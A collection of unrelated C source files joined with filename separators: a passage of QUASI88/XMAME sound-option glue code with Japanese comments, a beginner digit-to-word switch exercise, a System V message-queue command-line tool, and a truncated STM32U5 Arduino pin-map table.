* config_init() より、 xmame_config_init() の後に呼び出される。
*
* サウンド系オプションの解析処理において、 QUASI88 のオプションテーブル
* T_CONFIG_TABLE を使用する場合、そのポインタを返す。
* 独自方式で解析する場合は、 NULL を返す。
*****************************************************************************/
const T_CONFIG_TABLE *xmame_config_get_opt_tbl(void)
{
return NULL;
}
/******************************************************************************
* サウンド系オプションのヘルプメッセージを表示
*
* void xmame_config_show_option(void)
* config_init() より、オプション -help の処理の際に呼び出される。
* 標準出力にヘルプメッセージを表示する。
*****************************************************************************/
void xmame_config_show_option(void)
{
fprintf(stdout,
"\n"
"==========================================\n"
"== SOUND OPTIONS ( dependent on XMAME ) ==\n"
"== [ XMAME 0.71.1 ] ==\n"
"==========================================\n"
);
rc_print_help(rc, stdout);
}
/******************************************************************************
* サウンド系オプションの解析処理
*
* int xmame_config_check_option(char *opt1, char *opt2, int priority)
* config_init() より、引数や設定ファイルの解析を行なう際に、
* 規定のオプションのいずれにも合致しない場合、この関数が呼び出される。
*
* opt1 … 最初の引数(文字列)
* opt2 … 次のの引数(文字列 ないし NULL)
* priority … 優先度 (値が大きいほど優先度が高い)
*
* 戻り値 1 … 処理した引数が1個 (opt1 のみ処理。 opt2 は未処理)
* 2 … 処理した引数が2個 (opt1 と opt2 を処理)
* 0 … opt1 が未知の引数のため、 opt1 opt2 ともに未処理
* -1 … 内部で致命的な異常が発生
*
* 処理中の異常 (引数の指定値が範囲外など) や、優先度により処理がスキップ
* されたような場合は、正しく処理できた場合と同様に、 1 か 2 を返す。
*
* ※ この関数は、独自方式でオプションを解析するための関数なので、
* オプションテーブル T_CONFIG_TABLE を使用する場合は、ダミーでよい。
*****************************************************************************/
int xmame_config_check_option(char *opt1, char *opt2, int priority)
{
return rc_quasi88(rc, opt1, opt2, priority);
}
/******************************************************************************
* サウンド系オプションを保存するための関数
*
* int xmame_config_save_option(void (*real_write)
* (const char *opt_name, const char *opt_arg))
*
* 設定ファイルの保存の際に、呼び出される。
* 「opt_name にオプションを、 opt_arg にオプション引数を
* セットし、real_write を呼び出す」
* という動作を、保存したい全オプションに対して繰り返し行なう。
*
* (例) "-sound" を設定ファイルに保存したい場合
* (real_write)("sound", NULL) を呼び出す。
* (例) "-fmvol 80" を設定ファイルに保存したい場合
* (real_write)("fmvol", "80") を呼び出す。
*
* 戻り値 常に 0 を返す
*
* ※ この関数は、独自方式でオプションを解析するための関数なので、
* オプションテーブル T_CONFIG_TABLE を使用する場合は、ダミーでよい。
*****************************************************************************/
#include "rc_priv.h"
int xmame_config_save_option(void (*real_write)
(const char *opt_name, const char *opt_arg))
{
return rc_quasi88_save(rc->option, real_write);
}
/******************************************************************************
* サウンド系オプションをメニューから変更するためのテーブル取得関数
*
* T_SNDDRV_CONFIG *xmame_config_get_sndopt_tbl(void)
*
* メニューモードの開始時に呼び出される。
* 変更可能なサウンド系オプションの情報を、T_SNDDRV_CONFIG 型の
* 配列として用意し、その先頭ポインタを返す。
* 配列は最大5個まで、さらに末尾には終端データをセットしておく。
*
* 特に変更したい/できるものが無い場合は NULL を返す。
*****************************************************************************/
/* T_SNDDRV_CONFIG *xmame_config_get_sndopt_tbl(void) [src/unix/sound.c] */
/******************************************************************************
* サウンド機能の情報を取得する関数
*
* int xmame_has_audiodevice(void)
* サウンドオデバイス出力の可否を返す。
* 真ならデバイス出力可。偽なら不可。
*
* int xmame_has_mastervolume(void)
* サウンドデバイスの音量が変更可能かどうかを返す。
* 真なら変更可能。偽なら不可。
*
*****************************************************************************/
int xmame_has_audiodevice(void)
{
if (use_sound) {
if (sound_stream) return TRUE;
}
return FALSE;
}
int xmame_has_mastervolume(void)
{
if (use_sound) {
if (osd_has_sound_mixer()) return TRUE;
}
return FALSE;
}
/*===========================================================================*/
/* MAME の処理関数から呼び出される、システム依存処理関数 */
/*===========================================================================*/
/******************************************************************************
* サウンドデバイス制御
* これらの関数は、グローバル変数 use_sound が偽の場合は、呼び出されない。
*
* int osd_start_audio_stream(int stereo)
* サウンドデバイスを初期化する。
* stereo が真ならステレオ出力、偽ならモノラル出力で初期化する。
* (モノラル出力は、古いバージョンの MAME/XMAME で YM2203 を処理する
* 場合のみ、使用している。それ以外はすべてステレオ出力を使用する。)
* この関数は、エミュレーションの開始時に呼び出される。
* 成功時は、1フレームあたりのサンプル数を返す。
* 失敗時は、0 を返す。
* が、ここで 0 を返すと QUASI88 が強制終了してしまうので、
* サウンドデバイスの初期化に失敗した場合でも、サウンド出力なしで
* 処理を進めたいという場合、とにかく適当な値を返す必要がある。
*
* int osd_update_audio_stream(INT16 *buffer)
* サウンドデバイスに出力する。
* この関数は、1フレーム処理毎に呼び出される。buffer には1フレーム分
* (Machine->sample_rate / Machine->drv->frames_per_second) のサウンド
* データが格納されている。データは 16bit符号付きで、ステレオの場合は
* 左と右のサンプルが交互に並んでいる。
*
* 実際にこの関数が呼び出されたタイミングでデバイスに出力するか、あるいは
* 内部でバッファリングして別途出力するかは、実装次第である。
*
* 戻値は、 osd_start_audio_stream() と同じ
*
* void osd_stop_audio_stream(void)
* サウンドデバイスを終了する。
* この関数は、エミュレーションの終了時に呼び出される。
* 以降、 osd_update_audio_stream() などは呼び出されない。エミュレーション
* を再開する場合は、 osd_start_audio_stream() から呼び出される。
*
* void osd_update_video_and_audio(void)
* サウンドデバイスの出力その2
* タイミング的には、 osd_update_audio_stream() の直後に呼び出される。
* XMAME 0.106 に合わせて定義されているが、 osd_update_audio_stream() が
* きちんと実装できれいれば、こちらの関数はダミーでよい。
*
* void osd_sound_enable(int enable)
* サウンドデバイスへの出力あり・なしを設定する。
* enable が真なら出力あり、偽なら出力なし。
* この関数は、グローバル変数 close_device が真の場合のみ、呼び出される。
* メニューモードに入った際に、引数を偽として呼び出す。
* メニューモードから出る際に、引数を真として呼び出す。
* この関数は、引数が偽の場合に、サウンドデバイスを解放 (close) し、
* 真の場合に確保 (open) するような実装を期待しているが、サウンドデバイス
* を常時確保したままにするような実装であれば、ダミーの関数でよい。
* なお、サウンドデバイスへの出力なしの場合も osd_update_audio_stream()
* などの関数は呼び出される。
*
*****************************************************************************/
/* int osd_start_audio_stream(int stereo) [src/unix/sound.c] */
/* int osd_update_audio_stream(INT16 *buffer) [src/unix/sound.c] */
/* void osd_stop_audio_stream(void) [src/unix/sound.c] */
/* void osd_sound_enable(int enable) [src/unix/sound.c] */
/* osd_update_video_and_audio(struct mame_display *display) [src/unix/video.c] */
void osd_update_video_and_audio(void)
{
if (sound_stream && sound_enabled)
sound_stream_update(sound_stream);
}
/******************************************************************************
* 音量制御
*
* void osd_set_mastervolume(int attenuation)
* サウンドデバイスの音量を設定する。 attenuation は 音量で、 -32〜0
* (単位は db)。 音量変更のできないデバイスであれば、ダミーでよい。
*
* int osd_get_mastervolume(void)
* 現在のサウンドデバイスの音量を取得する。 戻値は -32〜0 (単位は db)。
* 音量変更のできないデバイスであれば、ダミーでよい。
*
*****************************************************************************/
/* void osd_set_mastervolume(int attenuation) [src/unix/sound.c] */
/* int osd_get_mastervolume(void) [src/unix/sound.c] */
#endif /* USE_SOUND */
|
the_stack_data/234517830.c
|
/*
Instruction
When provided with a number between 0-9, return it in words.
Input :: 1
Output :: "One".
Try using "Switch" statements.
This kata is meant for beginners. Rank and upvote to bring it out of beta
*/
/*
Sample Tests
#include <criterion/criterion.h>
char* switchItUp(int);
Test(basicTests, should_pass_all_the_tests_provided) {
cr_assert_str_eq(switchItUp(1), "One");
cr_assert_str_eq(switchItUp(3), "Three");
cr_assert_str_eq(switchItUp(5), "Five");
}
*/
char* switchItUp(int number)
{
switch(number){
case 1 :
return "One";
case 2 :
return "Two";
case 3 :
return "Three";
case 4 :
return "Four";
case 5 :
return "Five";
case 6 :
return "Six";
case 7 :
return "Seven";
case 8 :
return "Eight";
case 9 :
return "Nine";
case 0 :
return "Zero";
}
}
|
the_stack_data/952284.c
|
/*
* ipcq.c
* command to do IPC using message queues
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#define MSIZE 1024
#define PROJ_ID 'A'
#define ACTION_UNKNOWN 0
#define ACTION_QUEUE 1
#define ACTION_TIME 2
#define ACTION_GET 3
#define ACTION_UNIQ_Q 4
#define ACTION_Q_EXISTS 5
struct msgbuf {
long mtype;
char mtext[MSIZE];
};
static void help(char *, int);
static int cleanq(int);
static key_t getk(char *);
static int getqk(char *);
static int getqk_exists(char *);
static int getqk_uniq(char *);
static int sq_queue(char *, char *);
static int sq_get(char *, int);
static int sq_get_t(char *, int, int);
int main(int argc, char *argv[])
{
int i;
int action = ACTION_UNKNOWN;
int wtime = 0;
int clean = 0;
char *path = NULL;
char *message = NULL;
for (i = 1; i < argc && argv[i][0] == '-'; ++i) {
switch (argv[i][1]) {
case 'c':
case 'C':
clean = 1;
break;
case 'e':
case 'E':
action = ACTION_Q_EXISTS;
break;
case 'f':
case 'F':
if (argv[i][2]) {
path = &argv[i][2];
} else if (i + 1 < argc) {
i++;
path = argv[i];
} else {
help(argv[0], EXIT_FAILURE);
}
break;
case 'g':
case 'G':
action = ACTION_GET;
break;
case 'h':
case 'H':
case '?':
help(argv[0], EXIT_SUCCESS);
break;
case 'n':
case 'N':
action = ACTION_UNIQ_Q;
break;
case 'q':
case 'Q':
action = ACTION_QUEUE;
if (argv[i][2]) {
message = &argv[i][2];
} else if (i + 1 < argc) {
i++;
message = argv[i];
} else {
help(argv[0], EXIT_FAILURE);
}
break;
case 't':
case 'T':
action = ACTION_TIME;
if (argv[i][2]) {
wtime = atoi(&argv[i][2]);
} else if (i + 1 < argc) {
i++;
wtime = atoi(argv[i]);
} else {
help(argv[0], EXIT_FAILURE);
}
break;
default:
help(argv[0], EXIT_FAILURE);
break;
}
}
if (!path && i < argc) {
path = argv[i];
}
if (!path) {
help(argv[0], EXIT_FAILURE);
}
switch (action) {
case ACTION_GET:
return sq_get(path, clean);
break;
case ACTION_QUEUE:
return sq_queue(path, message);
break;
case ACTION_Q_EXISTS:
if (getqk_exists(path) < 0)
return EXIT_FAILURE;
else
return EXIT_SUCCESS;
break;
case ACTION_TIME:
if (sq_get_t(path, clean, wtime) < 0)
return EXIT_FAILURE;
else
return EXIT_SUCCESS;
break;
case ACTION_UNIQ_Q:
if (getqk_uniq(path) < 0)
return EXIT_FAILURE;
else
return EXIT_SUCCESS;
break;
default:
if (clean) {
if (cleanq(getqk(path)) < 0)
return EXIT_FAILURE;
else
return EXIT_SUCCESS;
} else {
help(argv[0], EXIT_FAILURE);
}
break;
}
return (EXIT_SUCCESS);
}
/*
* Exit the program with a message on use.
* char *filename[] == the address of argv[0] in main
* exit_status == set the error level at exit and decide between stdin or
* stdout; EXIT_SUCCESS or EXIT_FAILURE should be used
*/
void help(char *filename, int exit_status)
{
FILE *output;
if (exit_status == EXIT_SUCCESS)
output = stdout;
else
output = stderr;
fprintf(output, "Communicate with Message Queues\n");
fprintf(output, "\n");
fprintf(output, "Usage:\n");
fprintf(output, " %s -q <message> -f <file>\n", filename);
fprintf(output, " %s -g [-c] -f <file>\n", filename);
fprintf(output, " %s -t <seconds> [-c] -f <file>\n", filename);
fprintf(output, " %s -e -f <file>\n", filename);
fprintf(output, " %s -n -f <file>\n", filename);
fprintf(output, " %s -c -f <file>\n", filename);
fprintf(output, " %s -h\n", filename);
fprintf(output, "\n");
fprintf(output, "Options:\n");
fprintf(output, " -q Queue a <message>.\n");
fprintf(output, " -f The queue <file> that defines the queue.\n");
fprintf(output, " -g Get a message from the queue.\n");
fprintf(output, " Block until available.\n");
fprintf(output, " -t Get a message from the queue.\n");
fprintf(output, " Give up in defined <seconds>.\n");
fprintf(output, " -e Return success if a queue already exists.\n");
fprintf(output, " -n Create a new queue if one does not exist.\n");
fprintf(output, " -c Clean queue.\n");
fprintf(output, " -h Display this help message.\n");
exit(exit_status);
}
/*
* Put a message on the queue
*
* char * path is the project path
*/
int sq_queue(char *path, char *message)
{
struct msgbuf buf;
int msqk;
int i = 0;
buf.mtype = 1;
if ((msqk = getqk(path)) < 0) {
return -1;
}
if (message) {
for (i = 0; i < (MSIZE - 2) && message[i]; i++) {
buf.mtext[i] = message[i];
}
buf.mtext[i] = '\0';
}
return msgsnd(msqk, &buf, i + 1, 0);
}
/*
* Get a message from the queue and block until available
*
* char * path is the string representing the project path
*/
int sq_get(char *path, int clean)
{
struct msgbuf buf;
int msqk;
if ((msqk = getqk(path)) < 0) {
return -1;
}
buf.mtext[0] = '\0';
if (msgrcv(msqk, &buf, MSIZE, 0, 0) < 0) {
return -1;
}
if (buf.mtext[0]) {
printf("%s\n", buf.mtext);
}
if (clean) {
if (cleanq(msqk) == -1) {
return -1;
}
}
return 0;
}
/*
* Get a message from the queue and block until available
* or ~ sec seconds have passed.
*
* char * path is the string representing the project path
*/
int sq_get_t(char *path, int clean, int sec)
{
struct msgbuf buf;
int msqk;
int retval = -1;
int i;
if ((msqk = getqk(path)) < 0) {
return -1;
}
buf.mtext[0] = '\0';
sec *= 3;
for (i = 0; i < sec; i++) {
if (msgrcv(msqk, &buf, MSIZE, 0, IPC_NOWAIT) >= 0) {
retval = 0;
break;
}
if (errno != ENOMSG) {
return -1;
break;
}
usleep(332000);
}
if (buf.mtext[0]) {
printf("%s\n", buf.mtext);
}
if (clean) {
if (cleanq(msqk) == -1) {
return -1;
}
}
return retval;
}
/*
* Get a key for the project path
*/
key_t getk(char *path)
{
return ftok(path, PROJ_ID);
}
/*
* Get the message queue for the path
*/
int getqk(char *path)
{
return msgget(getk(path), 0666 | IPC_CREAT);
}
/*
* Create a new message queue for the path
* return < 0 if it already exists.
*/
int getqk_uniq(char *path)
{
return msgget(getk(path), 0666 | IPC_CREAT | IPC_EXCL);
}
/*
* Get an existing message queue for the path
* return < 0 if it cannot be obtained.
*/
int getqk_exists(char *path)
{
return msgget(getk(path), 0);
}
/*
* Cleanup the queue for the project path
*/
int cleanq(int q)
{
return msgctl(q, IPC_RMID, NULL);
}
|
the_stack_data/126703379.c
|
/*
*******************************************************************************
* Copyright (c) 2020-2021, STMicroelectronics
* All rights reserved.
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
*******************************************************************************
*/
/*
* Automatically generated from STM32U575AGIxQ.xml, STM32U575AIIxQ.xml
* STM32U585AIIxQ.xml
* CubeMX DB release 6.0.30
*/
#if defined(ARDUINO_B_U585I_IOT02A)
#include "Arduino.h"
#include "PeripheralPins.h"
/* =====
* Notes:
* - The pins mentioned Px_y_ALTz are alternative possibilities which use other
* HW peripheral instances. You can use them the same way as any other "normal"
* pin (i.e. analogWrite(PA7_ALT1, 128);).
*
* - Commented lines are alternative possibilities which are not used per default.
* If you change them, you will have to know what you do
* =====
*/
//*** ADC ***
#ifdef HAL_ADC_MODULE_ENABLED
WEAK const PinMap PinMap_ADC[] = {
{PA_0, ADC1, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 5, 0)}, // ADC1_IN5
{PA_1, ADC1, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 6, 0)}, // ADC1_IN6
{PA_2, ADC1, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 7, 0)}, // ADC1_IN7
{PA_3, ADC1, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 8, 0)}, // ADC1_IN8
{PA_4, ADC1, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 9, 0)}, // ADC1_IN9
{PA_4_ALT1, ADC4, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 9, 0)}, // ADC4_IN9
{PA_5, ADC1, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 10, 0)}, // ADC1_IN10
{PA_5_ALT1, ADC4, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 10, 0)}, // ADC4_IN10
// {PA_6, ADC1, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 11, 0)}, // ADC1_IN11
// {PA_6_ALT1, ADC4, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 11, 0)}, // ADC4_IN11
{PA_7, ADC1, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 12, 0)}, // ADC1_IN12
{PA_7_ALT1, ADC4, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 20, 0)}, // ADC4_IN20
{PB_0, ADC1, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 15, 0)}, // ADC1_IN15
{PB_0_ALT1, ADC4, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 18, 0)}, // ADC4_IN18
// {PB_1, ADC1, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 16, 0)}, // ADC1_IN16
// {PB_1_ALT1, ADC4, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 19, 0)}, // ADC4_IN19
{PB_2, ADC1, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 17, 0)}, // ADC1_IN17
{PC_0, ADC1, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 1, 0)}, // ADC1_IN1
{PC_0_ALT1, ADC4, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 1, 0)}, // ADC4_IN1
{PC_1, ADC1, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 2, 0)}, // ADC1_IN2
{PC_1_ALT1, ADC4, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 2, 0)}, // ADC4_IN2
{PC_2, ADC1, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 3, 0)}, // ADC1_IN3
{PC_2_ALT1, ADC4, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 3, 0)}, // ADC4_IN3
// {PC_3, ADC1, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 4, 0)}, // ADC1_IN4
// {PC_3_ALT1, ADC4, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 4, 0)}, // ADC4_IN4
{PC_4, ADC1, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 13, 0)}, // ADC1_IN13
{PC_4_ALT1, ADC4, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 22, 0)}, // ADC4_IN22
{PC_5, ADC1, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 14, 0)}, // ADC1_IN14
{PC_5_ALT1, ADC4, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 23, 0)}, // ADC4_IN23
{PD_11, ADC4, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 15, 0)}, // ADC4_IN15
{PD_12, ADC4, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 16, 0)}, // ADC4_IN16
// {PD_13, ADC4, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 17, 0)}, // ADC4_IN17
{PF_14, ADC4, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 5, 0)}, // ADC4_IN5
// {PF_15, ADC4, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 6, 0)}, // ADC4_IN6
{PG_0, ADC4, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 7, 0)}, // ADC4_IN7
{PG_1, ADC4, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 8, 0)}, // ADC4_IN8
{NC, NP, 0}
};
#endif
//*** DAC ***
#ifdef HAL_DAC_MODULE_ENABLED
WEAK const PinMap PinMap_DAC[] = {
{PA_4, DAC1, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 1, 0)}, // DAC1_OUT1
{PA_5, DAC1, STM_PIN_DATA_EXT(STM_MODE_ANALOG, GPIO_NOPULL, 0, 2, 0)}, // DAC1_OUT2
{NC, NP, 0}
};
#endif
//*** I2C ***
#ifdef HAL_I2C_MODULE_ENABLED
WEAK const PinMap PinMap_I2C_SDA[] = {
// {PB_3, I2C1, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C1)},
{PB_4, I2C3, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C3)},
{PB_7, I2C1, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C1)},
{PB_7_ALT1, I2C4, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF5_I2C4)},
{PB_9, I2C1, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C1)},
// {PB_11, I2C2, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C2)},
// {PB_11_ALT1, I2C4, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF3_I2C4)},
{PB_14, I2C2, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C2)},
{PC_1, I2C3, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C3)},
{PD_13, I2C4, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C4)},
{PF_0, I2C2, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C2)},
{PF_15, I2C4, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C4)},
{PG_8, I2C3, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C3)},
{PH_5, I2C2, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C2)},
{PH_8, I2C3, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C3)},
{NC, NP, 0}
};
#endif
#ifdef HAL_I2C_MODULE_ENABLED
WEAK const PinMap PinMap_I2C_SCL[] = {
{PA_7, I2C3, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C3)},
{PB_6, I2C1, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C1)},
{PB_6_ALT1, I2C4, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF5_I2C4)},
{PB_8, I2C1, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C1)},
// {PB_10, I2C2, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C2)},
// {PB_10_ALT1, I2C4, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF3_I2C4)},
{PB_13, I2C2, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C2)},
{PC_0, I2C3, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C3)},
{PD_12, I2C4, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C4)},
{PF_1, I2C2, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C2)},
{PF_14, I2C4, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C4)},
{PG_7, I2C3, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C3)},
{PH_4, I2C2, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C2)},
// {PH_7, I2C3, STM_PIN_DATA(STM_MODE_AF_OD, GPIO_NOPULL, GPIO_AF4_I2C3)},
{NC, NP, 0}
};
#endif
//*** TIM ***
#ifdef HAL_TIM_MODULE_ENABLED
WEAK const PinMap PinMap_TIM[] = {
{PA_0, TIM2, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM2, 1, 0)}, // TIM2_CH1
{PA_0_ALT1, TIM5, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM5, 1, 0)}, // TIM5_CH1
{PA_1, TIM2, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM2, 2, 0)}, // TIM2_CH2
{PA_1_ALT1, TIM5, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM5, 2, 0)}, // TIM5_CH2
{PA_1_ALT2, TIM15, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF14_TIM15, 1, 1)}, // TIM15_CH1N
{PA_2, TIM2, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM2, 3, 0)}, // TIM2_CH3
{PA_2_ALT1, TIM5, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM5, 3, 0)}, // TIM5_CH3
{PA_2_ALT2, TIM15, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF14_TIM15, 1, 0)}, // TIM15_CH1
{PA_3, TIM2, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM2, 4, 0)}, // TIM2_CH4
{PA_3_ALT1, TIM5, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM5, 4, 0)}, // TIM5_CH4
{PA_3_ALT2, TIM15, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF14_TIM15, 2, 0)}, // TIM15_CH2
{PA_5, TIM2, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM2, 1, 0)}, // TIM2_CH1
{PA_5_ALT1, TIM8, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_TIM8, 1, 1)}, // TIM8_CH1N
{PA_6, TIM3, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM3, 1, 0)}, // TIM3_CH1
{PA_6_ALT1, TIM16, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF14_TIM16, 1, 0)}, // TIM16_CH1
{PA_7, TIM1, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM1, 1, 1)}, // TIM1_CH1N
{PA_7_ALT1, TIM3, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM3, 2, 0)}, // TIM3_CH2
{PA_7_ALT2, TIM8, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_TIM8, 1, 1)}, // TIM8_CH1N
{PA_7_ALT3, TIM17, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF14_TIM17, 1, 0)}, // TIM17_CH1
{PA_8, TIM1, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM1, 1, 0)}, // TIM1_CH1
// {PA_9, TIM1, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM1, 2, 0)}, // TIM1_CH2
// {PA_10, TIM1, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM1, 3, 0)}, // TIM1_CH3
{PA_11, TIM1, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM1, 4, 0)}, // TIM1_CH4
// {PA_15, TIM2, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM2, 1, 0)}, // TIM2_CH1
{PB_0, TIM1, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM1, 2, 1)}, // TIM1_CH2N
{PB_0_ALT1, TIM3, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM3, 3, 0)}, // TIM3_CH3
{PB_0_ALT2, TIM8, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_TIM8, 2, 1)}, // TIM8_CH2N
{PB_1, TIM1, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF1_TIM1, 3, 1)}, // TIM1_CH3N
{PB_1_ALT1, TIM3, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF2_TIM3, 4, 0)}, // TIM3_CH4
{PB_1_ALT2, TIM8, STM_PIN_DATA_EXT(STM_MODE_AF_PP, GPIO_PULLUP, GPIO_AF3_TIM8, 3, 1)}, // TIM8_CH3N
